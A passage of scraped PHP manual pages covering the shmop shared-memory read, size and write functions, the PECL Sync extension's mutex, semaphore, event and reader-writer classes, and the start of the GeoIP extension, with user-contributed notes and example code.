daniele_dll at yahoo dot it 01-Feb-2004 10:28
There is a little ftok function. This function isn't included into php for windows so i've grabbed it directly from linux glibc 2.3.2 source code. I hope that this can be useful.
There is the code:

<?php
function ftok($pathname, $proj_id) {
    $st = @stat($pathname);
    if (!$st) {
        return -1;
    }

    $key = sprintf("%u", (($st['ino'] & 0xffff) | (($st['dev'] & 0xff) << 16) | (($proj_id & 0xff) << 24)));
    return $key;
}

echo ftok($_SERVER["SCRIPT_FILENAME"], 250);
?>

sorry for my english :)
Chris Petersen 28-Aug-2003 08:18
Be warned that if you try to shmop_open with a key set to zero, shmop_open will seemingly work, and you can write to it, but you will not be able to read from it or delete it.  If you're not careful, you can continue doing this - creating more and more shared memory blocks at "zero" until eventually you WILL start getting errors saying that php can't access or create the shared memory block, and you will have to restart your machine to free up all of those "zero" blocks.
Mitchell_Shnier at ieee dot orgZ 08-Nov-2001 02:51
To check whether a particular shared memory segment is already created, you need to concatenate the "a" and "c" flags. For example (where $SystemKey is the Unix key used by the other process(es) with which you want to share this memory segment)...<BR>
$shm_id = shmop_open($SystemKey, "ac", 0, 0);
if ($shm_id) {
   #it is already created
} else {
   #you need to create it with shmop_open using "c" only
}<BR>
Using only "a" does not work (just as using only IPC_EXCL in the Unix shmget() call is meaningless). Also, use the ipcs shell command to see your shared memory segments.


Read data from shared memory block

  • « shmop_open
  • shmop_size »
  • PHP Manual
  • Shared Memory Functions
  • Read data from shared memory block

shmop_read

(PHP 4 >= 4.0.4, PHP 5)

shmop_read — Read data from shared memory block

Description

string shmop_read ( int $shmid , int $start , int $count )

shmop_read() will read a string from shared memory block.

Parameters

shmid

The shared memory block identifier created by shmop_open()

start

Offset from which to start reading

count

The number of bytes to read

Return Values

Returns the data or FALSE on failure.

Examples

Example #1 Reading shared memory block

<?php
$shm_data = shmop_read($shm_id, 0, 50);
?>

This example will read 50 bytes from shared memory block and place the data inside $shm_data.

See Also

  • shmop_write() - Write data into shared memory block

User Contributed Notes

Milan Cvejic 18-Feb-2009 10:35
You should always serialize data written in shared memory.
And when you are reading data you should always unserialize.

<?php

$data = 'test';
$shm_bytes_written = shmop_write($shm_id, serialize($data), 0);
$shm_data = unserialize(shmop_read($shm_id, 0, $shm_bytes_written));
?>
Craig Manley 07-Jan-2005 11:19
shmop_read() reads and returns the whole memory segment's data. This is not useful if you're just working with strings. If you need to read a string from shared memory, call str_from_mem() on the result of shmop_read(). Similarly when writing strings to memory (instead of binary data), null terminate your strings with str_to_nts() before passing the value on to shmop_write().

function str_to_nts($value) {
  return "$value\0";
}

function str_from_mem(&$value) {
  $i = strpos($value, "\0");
  if ($i === false) {
    return $value;
  }
  $result =  substr($value, 0, $i);
  return $result;
}
slavapl at mailandnews dot com 02-May-2001 09:15
Also you can use the shmop_size() function to determine the block size.
macmaster at pobox dot com 30-Mar-2001 09:01
When i need to read the whole string at that shm pointer, setting the count parameter to zero (0) seems work for me.


Get size of shared memory block

  • « shmop_read
  • shmop_write »
  • PHP Manual
  • Shared Memory Functions
  • Get size of shared memory block

shmop_size

(PHP 4 >= 4.0.4, PHP 5)

shmop_size — Get size of shared memory block

Description

int shmop_size ( int $shmid )

shmop_size() is used to get the size, in bytes of the shared memory block.

Parameters

shmid

The shared memory block identifier created by shmop_open()

Return Values

Returns an int, which represents the number of bytes the shared memory block occupies.

Examples

Example #1 Getting the size of the shared memory block

<?php
$shm_size = shmop_size($shm_id);
?>

This example will put the size of shared memory block identified by $shm_id into $shm_size.

User Contributed Notes

There are no user contributed notes for this page.


Write data into shared memory block

  • « shmop_size
  • Sync »
  • PHP Manual
  • Shared Memory Functions
  • Write data into shared memory block

shmop_write

(PHP 4 >= 4.0.4, PHP 5)

shmop_write — Write data into shared memory block

Description

int shmop_write ( int $shmid , string $data , int $offset )

shmop_write() will write a string into shared memory block.

Parameters

shmid

The shared memory block identifier created by shmop_open()

data

A string to write into shared memory block

offset

Specifies where to start writing data inside the shared memory segment.

Return Values

The size of the written data, or FALSE on failure.

Examples

Example #1 Writing to shared memory block

<?php
$shm_bytes_written = shmop_write($shm_id, $my_string, 0);
?>

This example will write data inside $my_string into shared memory block, $shm_bytes_written will contain the number of bytes written.

See Also

  • shmop_read() - Read data from shared memory block

User Contributed Notes

There are no user contributed notes for this page.


Sync

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • SyncMutex — The SyncMutex class
    • SyncMutex::__construct — Constructs a new SyncMutex object
    • SyncMutex::lock — Waits for an exclusive lock
    • SyncMutex::unlock — Unlocks the mutex
  • SyncSemaphore — The SyncSemaphore class
    • SyncSemaphore::__construct — Constructs a new SyncSemaphore object
    • SyncSemaphore::lock — Decreases the count of the semaphore or waits
    • SyncSemaphore::unlock — Increases the count of the semaphore
  • SyncEvent — The SyncEvent class
    • SyncEvent::__construct — Constructs a new SyncEvent object
    • SyncEvent::fire — Fires/sets the event
    • SyncEvent::reset — Resets a manual event
    • SyncEvent::wait — Waits for the event to be fired/set
  • SyncReaderWriter — The SyncReaderWriter class
    • SyncReaderWriter::__construct — Constructs a new SyncReaderWriter object
    • SyncReaderWriter::readlock — Waits for a read lock
    • SyncReaderWriter::readunlock — Releases a read lock
    • SyncReaderWriter::writelock — Waits for an exclusive write lock
    • SyncReaderWriter::writeunlock — Releases a write lock

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The 'sync' extension introduces cross-platform synchonization objects into PHP. Named and unnamed Mutex, Semaphore, Event, and Reader-Writer objects provide OS-level synchronization on both POSIX (e.g. Linux) and Windows platforms.

Automatic cleanup of acquired synchronization objects takes place during extension teardown. This means that if PHP prematurely terminates a script (e.g. script execution time is exceeded), objects will not be left in an unknown state. The only exception to this is if PHP itself crashes (e.g. an internal buffer overflow).

Unnamed synchronization objects don't have a lot of use outside of a multithreaded scenario. Unnamed objects are more useful in conjunction with the pthreads PECL extension.

Note:

Named objects require additional care to be used on all systems. If an object is instantiated with a specific set of parameters, it must always be instantiated with those parameters or the object will probably end up in an inconsistent state until the next reboot or a system administrator cleans up the mess.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

A system with support for POSIX semaphores (sem_open()) or running Windows.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/sync.

User Contributed Notes

There are no user contributed notes for this page.


The SyncMutex class

(PECL sync >= 1.0.0)

Introduction

A cross-platform, native implementation of named and unnamed countable mutex objects.

A mutex is a mutual exclusion object that restricts access to a shared resource (e.g. a file) to a single instance. Countable mutexes acquire the mutex a single time and internally track the number of times the mutex is locked. The mutex is unlocked as soon as it goes out of scope or is unlocked the same number of times that it was locked.

Class synopsis

SyncMutex {
/* Methods */
public __construct ([ string $name ] )
public bool lock ([ integer $wait ] )
public bool unlock ([ bool $all ] )
}

Table of Contents

  • SyncMutex::__construct — Constructs a new SyncMutex object
  • SyncMutex::lock — Waits for an exclusive lock
  • SyncMutex::unlock — Unlocks the mutex

User Contributed Notes

There are no user contributed notes for this page.


Constructs a new SyncMutex object

  • « SyncMutex
  • SyncMutex::lock »
  • PHP Manual
  • SyncMutex
  • Constructs a new SyncMutex object

SyncMutex::__construct

(PECL sync >= 1.0.0)

SyncMutex::__construct — Constructs a new SyncMutex object

Description

public SyncMutex::__construct ([ string $name ] )

Constructs a named or unnamed countable mutex.

Parameters

name

The name of the mutex if this is a named mutex object.

Note:

If the name already exists, it must be able to be opened by the current user that the process is running as or an exception will be thrown with a meaningless error message.

Return Values

The new SyncMutex object. An exception is thrown if the mutex cannot be created or opened.

Examples

Example #1 SyncMutex::__construct() named mutex with lock timeout example

<?php
$mutex = new SyncMutex("UniqueName");

if (!$mutex->lock(3000))
{
    echo "Unable to lock mutex.";

    exit();
}

/* ... */

$mutex->unlock();
?>

Example #2 SyncMutex::__construct() unnamed mutex example

<?php
$mutex = new SyncMutex();

$mutex->lock();

/* ... */

$mutex->unlock();
?>

See Also

  • SyncMutex::lock() - Waits for an exclusive lock
  • SyncMutex::unlock() - Unlocks the mutex

User Contributed Notes

There are no user contributed notes for this page.


Waits for an exclusive lock

  • « SyncMutex::__construct
  • SyncMutex::unlock »
  • PHP Manual
  • SyncMutex
  • Waits for an exclusive lock

SyncMutex::lock

(PECL sync >= 1.0.0)

SyncMutex::lock — Waits for an exclusive lock

Description

public bool SyncMutex::lock ([ integer $wait ] )

Obtains an exclusive lock on a SyncMutex object. If the lock is already acquired, then this increments an internal counter.

Parameters

wait

The number of milliseconds to wait for the exclusive lock. A value of -1 is infinite.

Return Values

A boolean of TRUE if the lock was obtained, FALSE otherwise.

Examples

Example #1 SyncMutex::lock() example

<?php
$mutex = new SyncMutex("UniqueName");

if (!$mutex->lock(3000))
{
    echo "Unable to lock mutex.";

    exit();
}

/* ... */

$mutex->unlock();
?>

See Also

  • SyncMutex::unlock() - Unlocks the mutex

User Contributed Notes

There are no user contributed notes for this page.


Unlocks the mutex

  • « SyncMutex::lock
  • SyncSemaphore »
  • PHP Manual
  • SyncMutex
  • Unlocks the mutex

SyncMutex::unlock

(PECL sync >= 1.0.0)

SyncMutex::unlock — Unlocks the mutex

Description

public bool SyncMutex::unlock ([ bool $all ] )

Decreases the internal counter of a SyncMutex object. When the internal counter reaches zero, the actual lock on the object is released.

Parameters

all

Specifies whether or not to set the internal counter to zero and therefore release the lock.

Return Values

A boolean of TRUE if the unlock operation was successful, FALSE otherwise.

Examples

Example #1 SyncMutex::unlock() example

<?php
$mutex = new SyncMutex("UniqueName");

$mutex->lock();

/* ... */

$mutex->unlock();
?>

See Also

  • SyncMutex::lock() - Waits for an exclusive lock

User Contributed Notes

There are no user contributed notes for this page.


The SyncSemaphore class

(PECL sync >= 1.0.0)

Introduction

A cross-platform, native implementation of named and unnamed sempahore objects.

A semaphore restricts access to a limited resource to a limited number of instances. Semaphores differ from mutexes in that they can allow more than one instance to access a resource at one time while a mutex only allows one instance at a time.

Class synopsis

SyncSemaphore {
/* Methods */
public __construct ([ string $name [, integer $initialval [, bool $autounlock ]]] )
public bool lock ([ integer $wait ] )
public bool unlock ([ integer &$prevcount ] )
}

Table of Contents

  • SyncSemaphore::__construct — Constructs a new SyncSemaphore object
  • SyncSemaphore::lock — Decreases the count of the semaphore or waits
  • SyncSemaphore::unlock — Increases the count of the semaphore

User Contributed Notes

There are no user contributed notes for this page.


Constructs a new SyncSemaphore object

  • « SyncSemaphore
  • SyncSemaphore::lock »
  • PHP Manual
  • SyncSemaphore
  • Constructs a new SyncSemaphore object

SyncSemaphore::__construct

(PECL sync >= 1.0.0)

SyncSemaphore::__construct — Constructs a new SyncSemaphore object

Description

public SyncSemaphore::__construct ([ string $name [, integer $initialval [, bool $autounlock ]]] )

Constructs a named or unnamed semaphore.

Parameters

name

The name of the semaphore if this is a named semaphore object.

Note:

If the name already exists, it must be able to be opened by the current user that the process is running as or an exception will be thrown with a meaningless error message.

initialval

The initial value of the semaphore. This is the number of locks that may be obtained.

autounlock

Specifies whether or not to automatically unlock the semaphore at the conclusion of the PHP script.

Warning

If an object is: A named semaphore with an autounlock of FALSE, the object is locked, and the PHP script concludes before the object is unlocked, then the underlying semaphore will end up in an inconsistent state.

Return Values

The new SyncSemaphore object. An exception is thrown if the semaphore cannot be created or opened.

Examples

Example #1 SyncSemaphore::__construct() example

<?php
$semaphore = new SyncSemaphore("LimitedResource_2clients", 2);

if (!$semaphore->lock(3000))
{
    echo "Unable to lock semaphore.";

    exit();
}

/* ... */

$semaphore->unlock();
?>

See Also

  • SyncSemaphore::lock() - Decreases the count of the semaphore or waits
  • SyncSemaphore::unlock() - Increases the count of the semaphore

User Contributed Notes

There are no user contributed notes for this page.


Decreases the count of the semaphore or waits

  • « SyncSemaphore::__construct
  • SyncSemaphore::unlock »
  • PHP Manual
  • SyncSemaphore
  • Decreases the count of the semaphore or waits

SyncSemaphore::lock

(PECL sync >= 1.0.0)

SyncSemaphore::lock — Decreases the count of the semaphore or waits

Description

public bool SyncSemaphore::lock ([ integer $wait ] )

Decreases the count of a SyncSemaphore object or waits until the semaphore becomes non-zero.

Parameters

wait

The number of milliseconds to wait for the semaphore. A value of -1 is infinite.

Return Values

A boolean of TRUE if the lock operation was successful, FALSE otherwise.

Examples

Example #1 SyncSemaphore::lock() example

<?php
$semaphore = new SyncSemaphore("LimitedResource_2clients", 2);

if (!$semaphore->lock(3000))
{
    echo "Unable to lock semaphore.";

    exit();
}

/* ... */

$semaphore->unlock();
?>

See Also

  • SyncSemaphore::unlock() - Increases the count of the semaphore

User Contributed Notes

There are no user contributed notes for this page.


Increases the count of the semaphore

  • « SyncSemaphore::lock
  • SyncEvent »
  • PHP Manual
  • SyncSemaphore
  • Increases the count of the semaphore

SyncSemaphore::unlock

(PECL sync >= 1.0.0)

SyncSemaphore::unlock — Increases the count of the semaphore

Description

public bool SyncSemaphore::unlock ([ integer &$prevcount ] )

Increases the count of a SyncSemaphore object.

Parameters

prevcount

Returns the previous count of the semaphore.

Return Values

A boolean of TRUE if the unlock operation was successful, FALSE otherwise.

Examples

Example #1 SyncSemaphore::unlock() example

<?php
$semaphore = new SyncSemaphore("LimitedResource_2clients", 2);

if (!$semaphore->lock(3000))
{
    echo "Unable to lock semaphore.";

    exit();
}

/* ... */

$semaphore->unlock();
?>

The above example will output something similar to:

...

See Also

  • SyncSemaphore::lock() - Decreases the count of the semaphore or waits

User Contributed Notes

There are no user contributed notes for this page.


The SyncEvent class

(PECL sync >= Unknown)

Introduction

A cross-platform, native implementation of named and unnamed event objects. Both automatic and manual event objects are supported.

An event object waits, without polling, for the object to be fired/set. One instance waits on the event object while another instance fires/sets the event. Event objects are useful wherever a long-running process would otherwise poll a resource (e.g. checking to see if uploaded data needs to be processed).

Class synopsis

SyncEvent {
/* Methods */
public __construct ([ string $name [, bool $manual ]] )
public bool fire ( void )
public bool reset ( void )
public bool wait ([ integer $wait ] )
}

Table of Contents

  • SyncEvent::__construct — Constructs a new SyncEvent object
  • SyncEvent::fire — Fires/sets the event
  • SyncEvent::reset — Resets a manual event
  • SyncEvent::wait — Waits for the event to be fired/set

User Contributed Notes

There are no user contributed notes for this page.


Constructs a new SyncEvent object

  • « SyncEvent
  • SyncEvent::fire »
  • PHP Manual
  • SyncEvent
  • Constructs a new SyncEvent object

SyncEvent::__construct

(PECL sync >= 1.0.0)

SyncEvent::__construct — Constructs a new SyncEvent object

Description

public SyncEvent::__construct ([ string $name [, bool $manual ]] )

Constructs a named or unnamed event object.

Parameters

name

The name of the event if this is a named event object.

Note:

If the name already exists, it must be able to be opened by the current user that the process is running as or an exception will be thrown with a meaningless error message.

manual

Specifies whether or not the event object must be reset manually.

Note:

Manual reset event objects allow all waiting processes through until the object is reset.

Return Values

The new SyncEvent object. An exception is thrown if the event object cannot be created or opened.

Examples

Example #1 SyncEvent::__construct() example

<?php
// In a web application:
$event = new SyncEvent("GetAppReport");
$event->fire();

// In a cron job:
$event = new SyncEvent("GetAppReport");
$event->wait();
?>

See Also

  • SyncEvent::fire() - Fires/sets the event
  • SyncEvent::reset() - Resets a manual event
  • SyncEvent::wait() - Waits for the event to be fired/set

User Contributed Notes

There are no user contributed notes for this page.


Fires/sets the event

  • « SyncEvent::__construct
  • SyncEvent::reset »
  • PHP Manual
  • SyncEvent
  • Fires/sets the event

SyncEvent::fire

(PECL sync >= 1.0.0)

SyncEvent::fire — Fires/sets the event

Description

public bool SyncEvent::fire ( void )

Fires/sets a SyncEvent object. Lets multiple threads through that are waiting if the event object was created with a manual value of TRUE.

Parameters

This function has no parameters.

Return Values

A boolean of TRUE if the event was fired, FALSE otherwise.

Examples

Example #1 SyncEvent::fire() example

<?php
// In a web application:
$event = new SyncEvent("GetAppReport");
$event->fire();

// In a cron job:
$event = new SyncEvent("GetAppReport");
$event->wait();
?>

See Also

  • SyncEvent::reset() - Resets a manual event
  • SyncEvent::wait() - Waits for the event to be fired/set

User Contributed Notes

There are no user contributed notes for this page.


Resets a manual event

  • « SyncEvent::fire
  • SyncEvent::wait »
  • PHP Manual
  • SyncEvent
  • Resets a manual event

SyncEvent::reset

(PECL sync >= 1.0.0)

SyncEvent::reset — Resets a manual event

Description

public bool SyncEvent::reset ( void )

Resets a SyncEvent object that has been fired/set. Only valid for manual event objects.

Parameters

This function has no parameters.

Return Values

A boolean value of TRUE if the object was successfully reset, FALSE otherwise.

Examples

Example #1 SyncEvent::reset() example

<?php
// In a web application:
$event = new SyncEvent("DemoApplication", true);
$event->wait();

// In a cron job:
$event = new SyncEvent("DemoApplication", true);
$event->reset();
/* ... Do some maintenance task(s) ... */
$event->fire();
?>

See Also

  • SyncEvent::fire() - Fires/sets the event
  • SyncEvent::reset()
  • SyncEvent::wait() - Waits for the event to be fired/set

User Contributed Notes

There are no user contributed notes for this page.


Waits for the event to be fired/set

  • « SyncEvent::reset
  • SyncReaderWriter »
  • PHP Manual
  • SyncEvent
  • Waits for the event to be fired/set

SyncEvent::wait

(PECL sync >= 1.0.0)

SyncEvent::wait — Waits for the event to be fired/set

Description

public bool SyncEvent::wait ([ integer $wait ] )

Waits for the SyncEvent object to be fired.

Parameters

wait

The number of milliseconds to wait for the event to be fired. A value of -1 is infinite.

Return Values

A boolean of TRUE if the event was fired, FALSE otherwise.

Examples

Example #1 SyncEvent::wait() example

<?php
// In a web application:
$event = new SyncEvent("GetAppReport");
$event->fire();

// In a cron job:
$event = new SyncEvent("GetAppReport");
$event->wait();
?>

See Also

  • SyncEvent::fire() - Fires/sets the event

User Contributed Notes

There are no user contributed notes for this page.


The SyncReaderWriter class

(PECL sync >= 1.0.0)

Introduction

A cross-platform, native implementation of named and unnamed reader-writer objects.

A reader-writer object allows many readers or one writer to access a resource. This is an efficient solution for managing resources where access will primarily be read-only but exclusive write access is occasionally necessary.

Class synopsis

SyncReaderWriter {
/* Methods */
public __construct ([ string $name [, bool $autounlock ]] )
public bool readlock ([ integer $wait ] )
public bool readunlock ( void )
public bool writelock ([ integer $wait ] )
public bool writeunlock ( void )
}

Table of Contents

  • SyncReaderWriter::__construct — Constructs a new SyncReaderWriter object
  • SyncReaderWriter::readlock — Waits for a read lock
  • SyncReaderWriter::readunlock — Releases a read lock
  • SyncReaderWriter::writelock — Waits for an exclusive write lock
  • SyncReaderWriter::writeunlock — Releases a write lock

User Contributed Notes

There are no user contributed notes for this page.


Constructs a new SyncReaderWriter object

  • « SyncReaderWriter
  • SyncReaderWriter::readlock »
  • PHP Manual
  • SyncReaderWriter
  • Constructs a new SyncReaderWriter object

SyncReaderWriter::__construct

(PECL sync >= 1.0.0)

SyncReaderWriter::__construct — Constructs a new SyncReaderWriter object

Description

public SyncReaderWriter::__construct ([ string $name [, bool $autounlock ]] )

Constructs a named or unnamed reader-writer object.

Parameters

name

The name of the reader-writer if this is a named reader-writer object.

Note:

If the name already exists, it must be able to be opened by the current user that the process is running as or an exception will be thrown with a meaningless error message.

autounlock

Specifies whether or not to automatically unlock the reader-writer at the conclusion of the PHP script.

Warning

If an object is: A named reader-writer with an autounlock of FALSE, the object is locked for either reading or writing, and the PHP script concludes before the object is unlocked, then the underlying objects will end up in an inconsistent state.

Return Values

The new SyncReaderWriter object. An exception is thrown if the reader-writer cannot be created or opened.

Examples

Example #1 SyncReaderWriter::__construct() example

<?php
$readwrite = new SyncReaderWriter("FileCacheLock");
$readwrite->readlock();
/* ... */
$readwrite->readunlock();

$readwrite->writelock();
/* ... */
$readwrite->writeunlock();
?>

See Also

  • SyncReaderWriter::readlock() - Waits for a read lock
  • SyncReaderWriter::readunlock() - Releases a read lock
  • SyncReaderWriter::writelock() - Waits for an exclusive write lock
  • SyncReaderWriter::writeunlock() - Releases a write lock

User Contributed Notes

There are no user contributed notes for this page.


Waits for a read lock

  • « SyncReaderWriter::__construct
  • SyncReaderWriter::readunlock »
  • PHP Manual
  • SyncReaderWriter
  • Waits for a read lock

SyncReaderWriter::readlock

(PECL sync >= 1.0.0)

SyncReaderWriter::readlock — Waits for a read lock

Description

public bool SyncReaderWriter::readlock ([ integer $wait ] )

Obtains a read lock on a SyncReaderWriter object.

Parameters

wait

The number of milliseconds to wait for a lock. A value of -1 is infinite.

Return Values

A boolean of TRUE if the lock was obtained, FALSE otherwise.

Examples

Example #1 SyncReaderWriter::readlock() example

<?php
$readwrite = new SyncReaderWriter("FileCacheLock");
$readwrite->readlock();
/* ... */
$readwrite->readunlock();
?>

See Also

  • SyncReaderWriter::readunlock() - Releases a read lock

User Contributed Notes

There are no user contributed notes for this page.


Releases a read lock

  • « SyncReaderWriter::readlock
  • SyncReaderWriter::writelock »
  • PHP Manual
  • SyncReaderWriter
  • Releases a read lock

SyncReaderWriter::readunlock

(PECL sync >= 1.0.0)

SyncReaderWriter::readunlock — Releases a read lock

Description

public bool SyncReaderWriter::readunlock ( void )

Releases a read lock on a SyncReaderWriter object.

Parameters

This function has no parameters.

Return Values

A boolean of TRUE if the unlock operation was successful, FALSE otherwise.

Examples

Example #1 SyncReaderWriter::readunlock() example

<?php
$readwrite = new SyncReaderWriter("FileCacheLock");
$readwrite->readlock();
/* ... */
$readwrite->readunlock();
?>

See Also

  • SyncReaderWriter::readlock() - Waits for a read lock

User Contributed Notes

There are no user contributed notes for this page.


Waits for an exclusive write lock

  • « SyncReaderWriter::readunlock
  • SyncReaderWriter::writeunlock »
  • PHP Manual
  • SyncReaderWriter
  • Waits for an exclusive write lock

SyncReaderWriter::writelock

(PECL sync >= 1.0.0)

SyncReaderWriter::writelock — Waits for an exclusive write lock

Description

public bool SyncReaderWriter::writelock ([ integer $wait ] )

Obtains an exclusive write lock on a SyncReaderWriter object.

Parameters

wait

The number of milliseconds to wait for a lock. A value of -1 is infinite.

Return Values

A boolean of TRUE if the lock was obtained, FALSE otherwise.

Examples

Example #1 SyncReaderWriter::writelock() example

<?php
$readwrite = new SyncReaderWriter("FileCacheLock");
$readwrite->writelock();
/* ... */
$readwrite->writeunlock();
?>

See Also

  • SyncReaderWriter::writeunlock() - Releases a write lock

User Contributed Notes

There are no user contributed notes for this page.


Releases a write lock

  • « SyncReaderWriter::writelock
  • Other Basic Extensions »
  • PHP Manual
  • SyncReaderWriter
  • Releases a write lock

SyncReaderWriter::writeunlock

(PECL sync >= 1.0.0)

SyncReaderWriter::writeunlock — Releases a write lock

Description

public bool SyncReaderWriter::writeunlock ( void )

Releases a write lock on a SyncReaderWriter object.

Parameters

This function has no parameters.

Return Values

A boolean of TRUE if the unlock operation was successful, FALSE otherwise.

Examples

Example #1 SyncReaderWriter::writeunlock() example

<?php
$readwrite = new SyncReaderWriter("FileCacheLock");
$readwrite->writelock();
/* ... */
$readwrite->writeunlock();
?>

See Also

  • SyncReaderWriter::writelock() - Waits for an exclusive write lock

User Contributed Notes

There are no user contributed notes for this page.


Other Basic Extensions

  • GeoIP — Geo IP Location
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • GeoIP Functions
  • FANN — FANN (Fast Artificial Neural Network)
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Fann Functions
    • FANNConnection — The FANNConnection class
  • JSON — JavaScript Object Notation
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • JsonSerializable — The JsonSerializable interface
    • JSON Functions
  • Judy — Judy Arrays
    • Introduction
    • Installing/Configuring
    • Judy — The Judy class
    • Judy Functions
  • Lua
    • Introduction
    • Installing/Configuring
    • Lua — The Lua class
    • LuaClosure — The LuaClosure class
  • Misc. — Miscellaneous Functions
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Misc. Functions
    • Changelog
  • Parsekit
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Parsekit Functions
  • SPL — Standard PHP Library (SPL)
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Datastructures
    • Iterators
    • Interfaces
    • Exceptions
    • SPL Functions
    • File Handling
    • Miscellaneous Classes and Interfaces
  • SPL Types — SPL Type Handling
    • Introduction
    • Installing/Configuring
    • SplType — The SplType class
    • SplInt — The SplInt class
    • SplFloat — The SplFloat class
    • SplEnum — The SplEnum class
    • SplBool — The SplBool class
    • SplString — The SplString class
  • Streams
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Stream Filters
    • Stream Contexts
    • Stream Errors
    • Examples
    • php_user_filter — The php_user_filter class
    • streamWrapper — The streamWrapper class
    • Stream Functions
  • Tidy
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • tidy — The tidy class
    • tidyNode — The tidyNode class
    • Tidy Functions
  • Tokenizer
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Tokenizer Functions
  • URLs
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • URL Functions
  • V8js — V8 Javascript Engine Integration
    • Introduction
    • Installing/Configuring
    • Examples
    • V8Js — The V8Js class
    • V8JsException — The V8JsException class
  • Yaml — YAML Data Serialization
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Callbacks
    • Yaml Functions
  • Yaf — Yet Another Framework
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Application Configuration
    • Yaf_Application — The Yaf_Application class
    • Yaf_Bootstrap_Abstract — The Yaf_Bootstrap_Abstract class
    • Yaf_Dispatcher — The Yaf_Dispatcher class
    • Yaf_Config_Abstract — The Yaf_Config_Abstract class
    • Yaf_Config_Ini — The Yaf_Config_Ini class
    • Yaf_Config_Simple — The Yaf_Config_Simple class
    • Yaf_Controller_Abstract — The Yaf_Controller_Abstract class
    • Yaf_Action_Abstract — The Yaf_Action_Abstract class
    • Yaf_View_Interface — The Yaf_View_Interface class
    • Yaf_View_Simple — The Yaf_View_Simple class
    • Yaf_Loader — The Yaf_Loader class
    • Yaf_Plugin_Abstract — The Yaf_Plugin_Abstract class
    • Yaf_Registry — The Yaf_Registry class
    • Yaf_Request_Abstract — The Yaf_Request_Abstract class
    • Yaf_Request_Http — The Yaf_Request_Http class
    • Yaf_Request_Simple — The Yaf_Request_Simple class
    • Yaf_Response_Abstract — The Yaf_Response_Abstract class
    • Yaf_Route_Interface — The Yaf_Route_Interface class
    • Yaf_Route_Map — The Yaf_Route_Map class
    • Yaf_Route_Regex — The Yaf_Route_Regex class
    • Yaf_Route_Rewrite — The Yaf_Route_Rewrite class
    • Yaf_Router — The Yaf_Router class
    • Yaf_Route_Simple — The Yaf_Route_Simple class
    • Yaf_Route_Static — The Yaf_Route_Static class
    • Yaf_Route_Supervar — The Yaf_Route_Supervar class
    • Yaf_Session — The Yaf_Session class
    • Yaf_Exception — The Yaf_Exception class
    • Yaf_Exception_TypeError — The Yaf_Exception_TypeError class
    • Yaf_Exception_StartupError — The Yaf_Exception_StartupError class
    • Yaf_Exception_DispatchFailed — The Yaf_Exception_DispatchFailed class
    • Yaf_Exception_RouterFailed — The Yaf_Exception_RouterFailed class
    • Yaf_Exception_LoadFailed — The Yaf_Exception_LoadFailed class
    • Yaf_Exception_LoadFailed_Module — The Yaf_Exception_LoadFailed_Module class
    • Yaf_Exception_LoadFailed_Controller — The Yaf_Exception_LoadFailed_Controller class
    • Yaf_Exception_LoadFailed_Action — The Yaf_Exception_LoadFailed_Action class
    • Yaf_Exception_LoadFailed_View — The Yaf_Exception_LoadFailed_View class
  • Taint
    • Introduction
    • Installing/Configuring
    • More Details
    • Taint Functions

User Contributed Notes

There are no user contributed notes for this page.


Geo IP Location

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • GeoIP Functions
    • geoip_asnum_by_name — Get the Autonomous System Numbers (ASN)
    • geoip_continent_code_by_name — Get the two letter continent code
    • geoip_country_code_by_name — Get the two letter country code
    • geoip_country_code3_by_name — Get the three letter country code
    • geoip_country_name_by_name — Get the full country name
    • geoip_database_info — Get GeoIP Database information
    • geoip_db_avail — Determine if GeoIP Database is available
    • geoip_db_filename — Returns the filename of the corresponding GeoIP Database
    • geoip_db_get_all_info — Returns detailed information about all GeoIP database types
    • geoip_domain_by_name — Get the second level domain name
    • geoip_id_by_name — Get the Internet connection type
    • geoip_isp_by_name — Get the Internet Service Provider (ISP) name
    • geoip_netspeedcell_by_name — Get the Internet connection speed
    • geoip_org_by_name — Get the organization name
    • geoip_record_by_name — Returns the detailed City information found in the GeoIP Database
    • geoip_region_by_name — Get the country code and region
    • geoip_region_name_by_code — Returns the region name for some country and region code combo
    • geoip_setup_custom_directory — Set a custom directory for the GeoIP database.
    • geoip_time_zone_by_country_and_region — Returns the time zone for some country and region code combo

User Contributed Notes

mark at moderndeveloperllc dot com 27-Dec-2013 02:43
It should be noted that this extension has now been superseded by the GeoIP2 API that MaxMind now produces. There is a pure-PHP set of classes and a C library and extension you can optionally install. The code can be found in various projects on MaxMind's GitHub page: https://github.com/maxmind/


Introduction

The GeoIP extension allows you to find the location of an IP address. City, State, Country, Longitude, Latitude, and other information as all, such as ISP and connection type can be obtained with the help of GeoIP.

User Contributed Notes

There are no user contributed notes for this page.


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

ewwink at yahoo dot com 27-Mar-2013 01:23
compiled .dll or php_geoip.dll is availbale at:

http://windows.php.net/downloads/pecl/releases/geoip/1.0.8/

tested and worked with PHP Version 5.3.9 in windows 7 Home Premium
sballeste at gmail dot com 30-Apr-2011 11:57
If the data files under /usr/share/GeoIP/ are not readable by apache, apache's process will crash with a segfault on calls to geoip functions.
ben at SPAMLESS dot ism dot net dot nz 29-Apr-2011 06:20
SUSE (as root):

# zypper install php5-devel
# SuSEconfig
# mkdir -p /usr/share/GeoIP
